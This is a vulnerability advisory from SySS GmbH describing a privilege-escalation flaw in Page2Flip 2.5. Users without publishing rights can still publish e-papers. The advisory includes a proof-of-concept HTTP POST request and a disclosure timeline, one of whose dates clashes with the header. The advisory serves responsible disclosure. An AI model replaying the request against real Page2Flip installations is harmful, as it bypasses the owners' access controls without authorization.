Page2Flip 2.5 Privilege Escalation

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Advisory ID: SYSS-2015-030  
Product: Page2Flip  
Vendor: w!ssenswerft GmbH  
Affected Version(s): Premium App 2.5, probably also in Business App   
and Basic App, and in lower versions  
Tested Version(s): Premium App 2.5  
Vulnerability Type: Improper Handling of Insufficient Privileges (CWE-274)   
Risk Level: High  
Solution Status: Open  
Vendor Notification: 2015-06-29  
Solution Date:   
Public Disclosure:   
CVE Reference: Not yet assigned  
Author of Advisory: Dr. Erlijn van Genuchten (SySS GmbH)  
  
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Overview:  
  
With the Page2Flip Web application, it is possible to create e-papers in  
PDF format that can be flicked through digitally. Such e-papers can be  
used for magazines, catalogues, flyers, etc. (see [1]).  
  
The Page2Flip application allows users who are not privileged to publish  
documents to nevertheless publish documents.  
  
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Vulnerability Details:  
  
The SySS GmbH identified a vulnerability in the "publish" functionality  
of the Page2Flip application.  
  
Users who are not allowed to publish documents are nevertheless able to  
do so.   
  
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Proof of Concept (PoC):  
  
The following HTTP POST request was sent by a user who did not possess  
the privilege to publish documents.   
  
POST /catalog/[catalog id]/publishview HTTP/1.1  
Host: [host]  
Faces-Request: partial/ajax  
Content-Type: application/x-www-form-urlencoded;charset=UTF-8  
Content-Length: 1132  
Cookie: [cookies]  
  
downloadDialogForm=downloadDialogForm&javax.faces.ViewState=-8995724769283342270%3A-6610202228620183009&ice.window=9aibc007ll&ice.view=vvgml70v8&downloadDialogForm%3Ard_releaseTypeDownload=ext_catalog&downloadDialogForm%3Aj_idt916=Please%20choose...&icefacesCssUpdates=&javax.faces.source=downloadDialogForm%3AdownloadDialogForm_submit%3AdownloadDialogForm_submit&javax.faces.partial.event=click&javax.faces.partial.execute=%40all&javax.faces.partial.render=%40all&ice.window=9aibc007ll&ice.view=vvgml70v8&ice.focus=downloadDialogForm%3AdownloadDialogForm_submit%3AdownloadDialogForm_submit&downloadDialogForm%3AdownloadDialogForm_submit%3AdownloadDialogForm_submit=Start%20download&ice.event.target=downloadDialogForm%3AdownloadDialogForm_submit%3AdownloadDialogForm_submit&ice.event.captured=downloadDialogForm%3AdownloadDialogForm_submit%3AdownloadDialogForm_submit&ice.event.type=onclick&ice.event.alt=false&ice.event.ctrl=false&ice.event.shift=false&ice.event.meta=false&ice.event.x=11  
69&ice.event.y=796&ice.event.left=true&ice.event.right=false&ice.submit.type=ice.s&ice.submit.serialization=form&javax.faces.partial.ajax=true  
  
After sending this request, the user received an e-mail stating "You can   
download your pageflip!".  
  
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Solution:  
  
  
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Disclosure Timeline:  
  
2015-06-23: Vulnerability discovered  
2013-06-29: Vulnerability reported to vendor  
2015-07-07: Reported vulnerabilities again as the vendor did not respond   
to the first e-mail  
2015-07-14: Reminder sent concerning reported vulnerabilities  
2015-08-24: Public release of security advisory according to the SySS  
Responsible Disclosure Policy  
  
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References:  
  
[1] Page2Flip homepage  
http://page2flip.de/  
[2] SySS Responsible Disclosure Policy  
https://www.syss.de/en/news/responsible-disclosure-policy/  
  
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Credits:  
  
This security vulnerability was found by Dr. Erlijn van Genuchten of the  
SySS GmbH.  
  
E-Mail: [email protected]  
Public Key: https://www.syss.de/fileadmin/dokumente/Materialien/PGPKeys/Erlijn_vanGenuchten.asc  
Key ID: 0xBD96FF2A  
Key Fingerprint: 17BB 4CED 755A CBB3 2D47 C563 0CA5 8637 BD96 FF2A  
  
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Disclaimer:  
  
The information provided in this security advisory is provided "as is"   
and without warranty of any kind. Details of this security advisory may  
be updated in order to provide as accurate information as possible. The  
latest version of this security advisory is available on the SySS Web  
site.  
  
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Copyright:  
  
Creative Commons - Attribution (by) - Version 3.0  
URL: http://creativecommons.org/licenses/by/3.0/deed.en  
  
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